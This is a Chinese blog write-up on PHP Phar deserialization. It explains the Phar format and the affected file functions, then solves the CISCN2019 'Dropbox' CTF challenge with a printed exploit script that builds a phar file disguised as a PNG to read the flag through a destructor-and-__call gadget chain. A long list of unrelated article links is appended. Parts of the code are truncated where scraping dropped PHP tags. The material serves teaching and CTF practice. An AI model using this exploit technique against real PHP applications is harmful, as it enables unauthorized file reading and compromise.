St0ut
St0ut

Phar反序列化

前言

通过做题发现了Phar反序列化这个漏洞点，发现自己以前遇到过，但是都是模模糊糊的过去了。这次就好好总结一下。

Phar 反序列化

Phar文件结构

在php>=5.3的时候，默认开启支持Phar，文件状态问为只读，而且使用phar文件不需要任何配置。php使用phar://伪协议来解析phar文件的内容。

在php<5.3得时候，要将php.ini中的 phar.readonly设置为off，否则无法生成phar文件。

其文件结构包括4个部分：

  • stub

    phar 扩展识别的标志 格式为 xxx stub必须以HALT_COMPILER();来作为结束部分，否则Phar拓展将不会识别该文件。

  • manifest

    phar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。phar存储的meta-data信息以序列化方式存储，当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化

  • contents

    被压缩的文件内容，在没有特殊要求的情况下，这个被压缩的文件内容可以随便写的，因为我们利用这个漏洞主要是为了触发它的反序列化

  • signature

    文件的签名格式

Phar的使用方法

前提条件

  • 有上传点 可以上传phar文件
  • 有操作文件的函数，且函数的参数可控。
  • 有魔术方法可以利用

举个栗子：

startBuffering();
$phar->setStub("");
/*
 如果有文件限制，可以增加gif文件头
$phar->setStub("GIF89a".""); 
*/
$o = new User();
$o->name = "chuddy";
$phar->setMetadata($o);
$phar->addFromString("chuddy.txt","chuddy");
$phar->stopBuffering();
?>

Phar反序列化_第1张图片

那反序列化部分的内容如何反序列化呢？
在使用Phar:// 协议流解析Phar文件时，Meta-data中的内容都会进行反序列化
小trick：系统文件操作的函数一般都能使用伪协议流，Phar:// 也是ok的

测试一下：

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-irPiRn7w-1573141175758)(https://s2.ax1x.com/2019/11/06/Miyovt.md.png)]
可以发现可以执行反序列化。

函数扩展

受影响的函数还有以下函数皆受影响

列表
file_get_contents file_put_contents() file() file_exists() is_file() unlink()
fopen() read_file() is_dir() is_link() parse_ini_file() copy()
stat() fileatime() filectime() filegroup() fileinode() filemtime()
fileowner() fileperms() is_executable() is_readable() is_writable() is_writeable()

利用

[CISCN2019 华北赛区 Day1 Web1]Dropbox

打开页面发现是一个登陆框，通关尝试，没有发现注入点，于是就常规的注册登陆。发现是一个文件管理页面。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hDLgIK1H-1573141175761)(https://s2.ax1x.com/2019/11/07/MApQjH.md.png)]
上传的文件有下载和删除的功能。
尝试下载功能。发现可以任意文件下载
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-syGgrLvW-1573141175762)(https://s2.ax1x.com/2019/11/07/MA9KI0.md.png)]
通过控制filename这个参数可以实现任意文件读取。，于是我们可以把想过的文件都下载下来。其中有index.php,class.php,download.php, delete.php等。
class.php

db = $db;
    }

    public function user_exist($username) {   //判断用户是否存在  利用了预编译的方法，所有没有找到注入点
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {  //注册用户
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {  //用户登陆的判断
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {  
        $this->db->close();   //调用其他类的close方法
    }
}

class FileList {  //这是文件的显示类
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '
';
        $table .= '';
        foreach ($this->funcs as $func) {
            $table .= '';
        }
        $table .= '';
        $table .= '';
        foreach ($this->results as $filename => $result) {
            $table .= '';
            foreach ($result as $func => $value) {
                $table .= '';
            }
            $table .= '';
            $table .= '';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {  //判断文件是否存在
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);  //返回路径中的文件名部分。 /home/admin.php  返回admin.php
    }

    public function size() {  //判断文件大小
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {  //删除文件
        unlink($this->filename);
    }

    public function close() {  //返回文件
        return file_get_contents($this->filename);
    }
}
?>


通过对class.php文件的审计，发现这里使用了预编译的方法，，所以登陆处没有sql漏洞。
 但是注意到 File类中的close方法，这个方法被调用可以获得文件的内容，如果能够触发这个方法，就有机会得到flag。 发现download.php里面调用了这个方法。
由于这里传递的filename过滤了flag这个关键字符串，所以不能通过文件下载来直接下载文件。
 download.php
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {  //文件名不能有flag
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();  //这里调用了close函数  可以打印文件内容
} else {
    echo "File not exist";
}

但是其他的文件都能够读取。
 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZsgpdhXm-1573141175764)(https://s2.ax1x.com/2019/11/07/MAseC4.md.png)]
由于file类中的close方法，利用的是file_get_contents这个函数，也是受Phar反序列化影响的，如果能触发该方法，就有可能获取flag。
User类中存在调用close方法，但是该方法在对象销毁时执行
Filelist类中，存在call魔术方法，但是类没有close方法。
public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }


php的__call魔术方法,__call($func,$args)会在对象调用的方法不存在时，自动执行。这里的call方法的作用就是，当调用的对象没有这个方法，首先把要调用的方法，压进$this->funcs中，然后遍历每一个文件，让每一个文件，都去调用刚才的方法。
如果一个Filelist对象调用了close()方法，根据call方法的代码可以知道，文件的close方法会被执行，就可能拿到flag。
这是一个大佬画的图，会更好理解：
 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7PhlEbyo-1573141175768)(https://s2.ax1x.com/2019/11/07/MAo0pt.md.png)]
可以利用Phar反序列化来弄
 exp:
filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub(""); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

把文件改名为phar.png,然后上传，在delete删除该文件，抓包改数据，就可以得到flag
 Phar反序列化_第2张图片





你可能感兴趣的:(web安全)






    

  • 网络安全（黑客）——自学2024
小言同学喜欢挖漏洞
web安全安全网络学习网络安全信息安全渗透测试

    01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
    

    • 

  • 黑客（网络安全）技术自学30天
一个迷人的黑客
web安全安全网络笔记网络安全信息安全渗透测试

    01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
    

    • 

  • 自学黑客（网络安全）技术——2024最新
九九归二
web安全安全学习笔记网络网络安全信息安全

    01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
    

    • 

  • 网络安全（黑客）—2024自学笔记
羊村最强沸羊羊
web安全笔记安全网络安全网络python开发语言

    前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你
    

    • 

  • 网络安全（黑客）0基础到精通，看这一篇就够了！
羊村最强沸羊羊
web安全安全网络安全php网络python开发语言

    前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你
    

    • 

  • 2024网络安全-自学笔记
羊村最强沸羊羊
web安全安全网络安全开发语言phppython网络

    前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你
    

    • 

  • 网络安全（黑客技术）—0基础自学
羊村最强沸羊羊
网络安全web安全开发语言安全phppython网络

    前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你
    

    • 

  • 常见的几种Web安全问题测试简介
咖啡加剁椒..
软件测试web安全安全功能测试软件测试自动化测试程序人生职场和发展

    Web项目比较常见的安全问题1.XSS(CrossSiteScript)跨站脚本攻击XSS(CrossSiteScript)跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。测试方法：在数据输入界面，添加记录输入：，添加成功如果弹出对话框，表明此处存在一个XSS漏洞。或把url请求中参数改为
    

    • 

  • HTTP查阅手册地址
iuiyiyut

    https://developer.mozilla.org/zh-CN/docs/Web/HTTP教程HTTP概述HTTP缓存HTTPcookiesHTTP访问控制（CORS）HTTP的演变Mozillaweb安全引导HTTP消息典型的HTTP会话HTTP/1.x中的连接管理参考文档HTTP首部HTTP请求方法HTTP状态返回码CSP指令工具与资源Firefox开发者工具MozillaObserv
    

    • 

  • Shiro-05-5 分钟入门 shiro 安全框架实战笔记
老马啸西风
web安全java安全架构开发语言哈希算法

    序言大家好，我是老马。前面我们学习了web安全之SpringSecurity入门教程这次我们来一起学习下另一款java安全框架shiro。什么是ApacheShiro？ApacheShiro是一个功能强大且易于使用的Java安全框架，它为开发人员提供了一种直观而全面的解决方案，用于身份验证，授权，加密和会话管理。实际上，它可以管理应用程序安全性的所有方面，同时尽可能避免干扰。它建立在可靠的界面驱动
    

    • 

  • web安全之 -- XSS攻击
似水牛年

    什么是XSS攻击XSS,即为（CrossSiteScripting）,中文名为跨站脚本,是发生在目标用户的浏览器层面上的，当渲染DOM树的过程成发生了不在预期内执行的JS代码时，就发生了XSS攻击。跨站脚本的重点不在‘跨站’上，而在于‘脚本’上。大多数XSS攻击的主要方式是嵌入一段远程或者第三方域上的JS代码。实际上是在目标网站的作用域下执行了这段js代码。为不和层叠样式表(CascadingSt
    

    • 

  • 常见Web安全漏洞的实际案例和攻防技术
清水白石008
web安全安全

    常见Web安全漏洞的实际案例和攻防技术1、SQL注入攻击与防范：通过一个简单的Web应用演示SQL注入攻击，包括入侵者如何通过输入恶意SQL语句来获取敏感数据。提供相应的防范措施，包括参数化查询、ORM框架的使用等，并附上实际代码演示。Copycode#恶意SQL注入语句的示例SELECT*FROMusersWHEREusername='admin'ANDpassword='xxx'OR'1'=
    

    • 

  • 成为一名月薪2万的web安全工程师需要哪些技能？
闪现码狗

    现在web安全工程师比较火，岗位比较稀缺，现在除了一些大公司对学历要求严格，其余公司看中的大部分是能力。之前有个咨询的17岁的小伙子学习的就是相关方向，17岁，已经工作2年了……当初也是因为其他的要求比较高，所以才选择的web安全方向。那么成为一名web安全工程师需要哪些技能呢？下面就告诉你。01环境的搭建熟悉基本的虚拟机配置。Kalilinux，centos，Windows实验虚拟机自己搭建II
    

    • 

  • Web安全-JWT认证机制安全性浅析
Tr0e
Web安全

    文章目录认证机制数据结构头部有效载荷签名数据转换安全缺陷密钥爆破认证机制JWT全称是JSONWebToken，是目前非常流行的跨域认证解决方案，在单点登录场景中经常使用到。JSONWebToken直接根据token取出保存的用户信息，以及对token可用性校验，大大简化单点登录。起源说起JWT，我们应该来谈一谈基于token的认证和传统的session认证的区别。传统的Session认证我们知道，
    

    • 

  • Web安全攻防_渗透测试实战指南
立志成为网安大牛
web安全安全

    目录第1章渗透测试之信息收集1.1收集域名信息1.1.1Whois查询1.1.2备案信息查询1.2收集敏感信息1.3收集子域名信息1.4收集常用端口信息1.5指纹识别1.6查找真实IP1.7收集敏感目录文件1.8社会工程学第1章渗透测试之信息收集**1.1收集域名信息**①得知目标域名②获取域名注册信息（域名DNS服务器信息和注册人联系信息）1.1.1Whois查询标准互联网协议，收集网络注册信息
    

    • 

  • 【web安全】渗透测试实战思路
星盾网安
付费专区web安全安全

    步骤一：选目标1.不建议太小的公司（可能都是请别人来开发的，用现成成熟的框架）2.不建议一线大厂：腾讯，字节，阿里等，你懂的3.不建议政府部门，安全设备多，每年有护网，报警你就死建议：找上市公司与子公司，有开发人员，就有漏洞重点：先在天眼查那些找域名所有上市公司链接：上市公司大全子公司：在官网上找步骤二：优先找登录入口1.用户名枚举2.寻找关键信息，看看官网有没有一些文章发布人的姓名，然后使用工具
    

    • 

  • 小白学安全--web安全入门（非常详细）零基础入门到精通，收藏这一篇就够了
网络安全大白
网络安全黑客程序员安全web安全

    作为一个从知道创与到自建安全团队的资深白帽子，一路也是从不止所谓的web小白历经磨难成长起来的我，给现在正在准备学习web安全的同学一些建议。在我认为，渗透安全的范围其实要学习的东西很广泛的，间接的相当于你要是一个前端工程师，也要是一个后端工程师（其中就包含主流的php，JAVA，python等），如果学习移动端安全，你还要是一个出色的安卓工程师，而网络安全又细分为很多方向，比如系统安全、移动安全
    

    • 

  • 什么是SQL注入，有什么防范措施

安全http

    随着互联网的普及和数字化进程的加速，Web攻击已经成为网络安全领域的一大威胁。Web攻击不仅可能导致个人隐私泄露、财产损失，还可能对企业和国家的安全造成严重影响。下面德迅云安全就分享一种常见的web攻击方式-SQL注入，了解下什么是SQL注入，还有面对攻击时有哪些防范措施。通过了解这方面的网络安全知识，可以提高日常的web安全性。什么是SQL注入：SQL注入（SQLInjection）是一种常见的
    

    • 

  • Web安全研究（六）
西杭
web安全安全

    文章目录HideNoSeek:Camouflaging(隐藏)MaliciousJavaScriptinBenignASTs文章结构IntrojsobfuscationmethodologyExampleHideNoSeek:Camouflaging(隐藏)MaliciousJavaScriptinBenignASTsCCS2019CISPA恶意软件领域，基于学习的系统已经非常流行，并且可以检测新
    

    • 

  • ACM CCS 2020 · web安全研究学者
丫丫二_97
web安全web安全

    ACMCCS2020·web安全研究学者锁一下！最近打算整理下这些学者的论文，然后看一下他们的研究脉络。其他四大也应该锁一下。GiovanniVigna学校：UniversityofCaliforniainSantaBarbara(UCSB，加州大学圣巴巴拉分校)研究机构：DepartmentofComputerScience方向：vulnerabilityanalysis,websecurity
    

    • 

  • 2022网络安全超详细路线图，零基础入门看这篇就够了
技术宅不太宅
程序人生web安全网络安全kali渗透渗透测试sql注入

    一.开始前的思考1.我真的喜欢搞安全吗?2.我只是想通过安全赚钱钱吗?3.我不知道做什么就是随便。4.一辈子做信息安全吗这些不想清楚会对你以后的发展很不利，与其盲目的学习web安全，不如先做一个长远的计划。否则在我看来都是浪费时间。如果你考虑好了参照我的计划进行学习,我不敢保证你实践完多牛逼，但是找6k-9k的工作绝对不成问题。1.目的本问目的是带大家快速入门web安全，不会搞些虚张声势的东西都是
    

    • 

  • （2022版）零基础入门网络安全/Web安全，收藏这一篇就够了
网络安全-无涯
web安全安全网络网络安全面试

    由于我之前写了不少网络安全技术相关的文章和回答，不少读者朋友知道我是从事网络安全相关的工作，于是经常有人私信问我：我刚入门网络安全，该怎么学？要学哪些东西？有哪些方向？怎么选？这一行职业前景如何？废话不多说，先上一张图镇楼，看看网络安全有哪些方向，它们之间有什么关系和区别，各自需要学习哪些东西。在这个圈子技术门类中，工作岗位主要有以下三个方向：安全研发安全研究：二进制方向安全研究：网络渗透方向下面
    

    • 

  • Web安全测试之XSS
中科恒信

    XSS全称(CrossSiteScripting)跨站脚本攻击，是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript),当用户浏览此网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的.比如获取用户的Cookie，导航到恶意网站,携带木马等。作为测试人员，需要了解XSS的原理，攻击场景，如何修复。才能有效的防止XSS的发生。阅读目录XSS是如何发生的HTMLE
    

    • 

  • 典型Web安全防护策略
爱看时事的通信崔

    Web安全问题的凸显致使得安全防护人员实施大量的安全机制来抵御攻击，尽管各种安全机制设计细节和执行效率可能千差万别，但几乎所有Web应用采用的安全机制在策略上都具有相似性，都离不开核心的几个基本原则和主要措施。一、基本原则1、缺省安全缺省安全可以说是Web安全中最基本、最重要的原则，可以归纳为白名单、黑名单的思想以及最小权限原则。黑名单、白名单思想应该都很熟悉，最典型的例子莫过于制定防火墙的访问控
    

    • 

  • Web 应用安全发展的介绍
Wang's Blog
Web黑客web安全

    黑客技术的发展历史1990年代初，部分人开始研究黑客技术1997-1999黑客团队涌现，进入黄金时代21世纪初，黑客工具傻瓜化，门槛降低，黑客精神不再希望今天的web是安全的春天关于安全公司的甲方和乙方甲方：如腾讯、阿里等需要安全服务的公司乙方：提供安全服务、产品的服务型安全公司圈内熟知的安全公司：绿盟、知道创宇、安天、启明星辰、安恒、天融信Web与二进制Web，研究web安全二进制，研究客户端安
    

    • 

  • 前端必备的 web 安全知识手记
就是不吃苦瓜
前端安全web安全网络智能路由器学习

    前言安全这种东西就是不发生则已，一发生则惊人。作为前端，平时对这方面的知识没啥研究，最近了解了下，特此沉淀。文章内容包括以下几个典型的web安全知识点：XSS、CSRF、点击劫持、SQL注入和上传问题等（下文以小王代指攻击者），话不多说，我们直接开车（附带的例子浅显易懂哦）。XSS（Cross-sitescripting）XSS中文叫做跨站脚本攻击。一句话解释：小王在网页中注入恶意代码，当用户访问
    

    • 

  • [web安全]深入理解反射式dll注入技术
H_00c8

    一、前言dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性，通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大，很容易被edr等安
    

    • 

  • 风炫安全web安全学习第三十五节课 文件下载和文件读取漏洞
风炫安全

    风炫安全web安全学习第三十五节课文件下载和文件读取漏洞0x03任意文件下载漏洞一些网站由于业务需求，往往需要提供文件下载功能，但若对用户下载的文件不做限制，则恶意用户就能够下载任意敏感文件，这就是文件下载漏洞。漏洞产生原因有读取文件的函数读物文件的路径用户可控，且没有经过校验，或者校验不严格输出文件内容一个正常的网站，存在一个下载文件的功能，同时还会从浏览器接收文件名字文件下载的两种方式1、直接
    

    • 

  • Content Security Policy (CSP) 中的 frame-ancestors 'self' 指令介绍


    ContentSecurityPolicy(CSP)是一种Web安全标准，旨在减少和防止网站上的一些特定类型的攻击，例如跨站脚本攻击（XSS）。CSP允许站点管理员定义允许加载的资源的白名单，限制了浏览器可以执行的操作，从而提高网站的安全性。在CSP中，frame-ancestors是一项用于限制页面能够被嵌入的位置的指令。指令的具体内容是frame-ancestors'self'，意味着只允许页
    

    • 

  • Web安全
Towain

    正确思维方式的重要性，因此我告知好友：安全工程师的核心竞争力不在于他能拥有多少个0day，掌握多少种安全技术，而是在于他对安全理解的深度，以及由此引申的看待安全问题的角度和高度。我是如此想的，也是如此做的。
    

    • 

  • LeetCode[Math] - #66 Plus One
Cwind
javaLeetCode题解AlgorithmMath

    原题链接：#66 Plus One
 
要求：
给定一个用数字数组表示的非负整数，如num1 = {1, 2, 3, 9}, num2 = {9, 9}等，给这个数加上1。
注意：
1. 数字的较高位存在数组的头上，即num1表示数字1239
2. 每一位（数组中的每个元素）的取值范围为0~9
 
难度：简单
 
分析：
题目比较简单，只须从数组
    

    • 

  • JQuery中$.ajax()方法参数详解
AILIKES
JavaScriptjsonpjqueryAjaxjson

    url: 要求为String类型的参数，（默认为当前页地址）发送请求的地址。
type: 要求为String类型的参数，请求方式（post或get）默认为get。注意其他http请求方法，例如put和    delete也可以使用，但仅部分浏览器支持。
timeout: 要求为Number类型的参数，设置请求超时时间（毫秒）。此设置将覆盖$.ajaxSetup()方法的全局
    

    • 

  • JConsole & JVisualVM远程监视Webphere服务器JVM
Kai_Ge
JVisualVMJConsoleWebphere

        JConsole是JDK里自带的一个工具，可以监测Java程序运行时所有对象的申请、释放等动作，将内存管理的所有信息进行统计、分析、可视化。我们可以根据这些信息判断程序是否有内存泄漏问题。
　　使用JConsole工具来分析WAS的JVM问题，需要进行相关的配置。
　　首先我们看WAS服务器端的配置.
　　1、登录was控制台https://10.4.119.18
    

    • 

  • 自定义annotation
120153216
annotation

    Java annotation 自定义注释@interface的用法 一、什么是注释 
    说起注释，得先提一提什么是元数据(metadata)。所谓元数据就是数据的数据。也就是说，元数据是描述数据的。就象数据表中的字段一样，每个字段描述了这个字段下的数据的含义。而J2SE5.0中提供的注释就是java源代码的元数据，也就是说注释是描述java源
    

    • 

  • CentOS 5/6.X 使用 EPEL YUM源
2002wmj
centos

    CentOS 6.X 安装使用EPEL YUM源1. 查看操作系统版本[root@node1 ~]# uname -a Linux node1.test.com 2.6.32-358.el6.x86_64 #1 SMP Fri Feb 22 00:31:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux [root@node1 ~]#
    

    • 

  • 在SQLSERVER中查找缺失和无用的索引SQL
357029540
SQL Server

    --缺失的索引
SELECT  avg_total_user_cost * avg_user_impact * ( user_scans + user_seeks ) AS PossibleImprovement , 
        last_user_seek , 
  
    

    • 

  • Spring3 MVC 笔记（二） —json+rest优化
7454103
Spring3 MVC

    接上次的 spring mvc 注解的一些详细信息！
                         其实也是一些个人的学习笔记  呵呵！

    

    • 

  • 替换“\”的时候报错Unexpected internal error near index 1 \ ^
adminjun
java“\替换”

    发现还是有些东西没有刻子脑子里,,过段时间就没什么概念了,所以贴出来...以免再忘...
 
在拆分字符串时遇到通过 \ 来拆分，可是用所以想通过转义 \\ 来拆分的时候会报异常
 
public class Main {  
  
    /*
    

    • 

  • POJ 1035 Spell checker(哈希表)
aijuans
暴力求解--哈希表

    /*
题意：输入字典，然后输入单词，判断字典中是否出现过该单词，或者是否进行删除、添加、替换操作，如果是，则输出对应的字典中的单词
要求按照输入时候的排名输出
题解：建立两个哈希表。一个存储字典和输入字典中单词的排名，一个进行最后输出的判重
*/
#include <iostream>
//#define
using namespace std;
const int HASH =
    

    • 

  • 通过原型实现javascript Array的去重、最大值和最小值
ayaoxinchao
JavaScriptarrayprototype

    用原型函数（prototype）可以定义一些很方便的自定义函数，实现各种自定义功能。本次主要是实现了Array的去重、获取最大值和最小值。
实现代码如下：
 
<script type="text/javascript">
Array.prototype.unique = function() {
var a = {};
var le
    

    • 

  • UIWebView实现https双向认证请求
bewithme
UIWebViewhttpsObjective-C

     
        什么是HTTPS双向认证我已在先前的博文 ASIHTTPRequest实现https双向认证请求
中有讲述，不理解的读者可以先复习一下。本文是用UIWebView来实现对需要客户端证书验证的服务请求，网上有些文章中有涉及到此内容，但都只言片语，没有讲完全，更没有完整的代码，让人困扰不已。但是此知
    

    • 

  • NoSQL数据库之Redis数据库管理(Redis高级应用之事务处理、持久化操作、pub_sub、虚拟内存)
bijian1013
redis数据库NoSQL

    3.事务处理
        Redis对事务的支持目前不比较简单。Redis只能保证一个client发起的事务中的命令可以连续的执行，而中间不会插入其他client的命令。当一个client在一个连接中发出multi命令时，这个连接会进入一个事务上下文，该连接后续的命令不会立即执行，而是先放到一个队列中，当执行exec命令时，redis会顺序的执行队列中
    

    • 

  • 各数据库分页sql备忘
bingyingao
oraclesql分页

    ORACLE
下面这个效率很低
SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (SELECT * FROM IPAY_RCD_FS_RETURN order by id desc) A ) WHERE RN <20;
下面这个效率很高
SELECT A.*, ROWNUM RN FROM (SELECT * FROM IPAY_RCD_
    

    • 

  • 【Scala七】Scala核心一：函数
bit1129
scala

    1. 如果函数体只有一行代码，则可以不用写{},比如
def print(x: Int) = println(x)
一行上的多条语句用分号隔开，则只有第一句属于方法体，例如
 
def printWithValue(x: Int) : String= println(x); "ABC"
 
上面的代码报错，因为，printWithValue的方法
    

    • 

  • 了解GHC的factorial编译过程
bookjovi
haskell

    GHC相对其他主流语言的编译器或解释器还是比较复杂的，一部分原因是haskell本身的设计就不易于实现compiler，如lazy特性，static typed，类型推导等。
关于GHC的内部实现有篇文章说的挺好，这里，文中在RTS一节中详细说了haskell的concurrent实现，里面提到了green thread，如果熟悉Go语言的话就会发现，ghc的concurrent实现和Go有点类
    

    • 

  • Java-Collections Framework学习与总结-LinkedHashMap
BrokenDreams
LinkedHashMap

            前面总结了java.util.HashMap，了解了其内部由散列表实现，每个桶内是一个单向链表。那有没有双向链表的实现呢？双向链表的实现会具备什么特性呢？来看一下HashMap的一个子类——java.util.LinkedHashMap。
      
    

    • 

  • 读《研磨设计模式》-代码笔记-抽象工厂模式-Abstract Factory
bylijinnan
abstract

    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
package design.pattern;
/*
* Abstract Factory Pattern
* 抽象工厂模式的目的是：
* 通过在抽象工厂里面定义一组产品接口，方便地切换“产品簇”
* 这些接口是相关或者相依赖的
    

    • 

  • 压暗面部高光
cherishLC
PS

    方法一、压暗高光&重新着色
当皮肤很油又使用闪光灯时，很容易在面部形成高光区域。
下面讲一下我今天处理高光区域的心得：
皮肤可以分为纹理和色彩两个属性。其中纹理主要由亮度通道（Lab模式的L通道）决定，色彩则由a、b通道确定。
处理思路为在保持高光区域纹理的情况下，对高光区域着色。具体步骤为：降低高光区域的整体的亮度，再进行着色。
如果想简化步骤，可以只进行着色（参看下面的步骤1
    

    • 

  • Java VisualVM监控远程JVM
crabdave
visualvm

    Java VisualVM监控远程JVM 
 
JDK1.6开始自带的VisualVM就是不错的监控工具.
这个工具就在JAVA_HOME\bin\目录下的jvisualvm.exe, 双击这个文件就能看到界面
 
通过JMX连接远程机器, 需要经过下面的配置:
1. 修改远程机器JDK配置文件 (我这里远程机器是linux).
   
    

    • 

  • Saiku去掉登录模块
daizj
saiku登录olapBI

    
1、修改applicationContext-saiku-webapp.xml
<security:intercept-url pattern="/rest/**" access="IS_AUTHENTICATED_ANONYMOUSLY" /> 
<security:intercept-url pattern=&qu
    

    • 

  • 浅析 Flex中的Focus
dsjt
htmlFlexFlash

    关键字：focus、 setFocus、 IFocusManager、KeyboardEvent
焦点、设置焦点、获得焦点、键盘事件
一、无焦点的困扰——组件监听不到键盘事件
原因：只有获得焦点的组件（确切说是InteractiveObject）才能监听到键盘事件的目标阶段；键盘事件（flash.events.KeyboardEvent）参与冒泡阶段，所以焦点组件的父项（以及它爸
    

    • 

  • Yii全局函数使用
dcj3sjt126com
yii

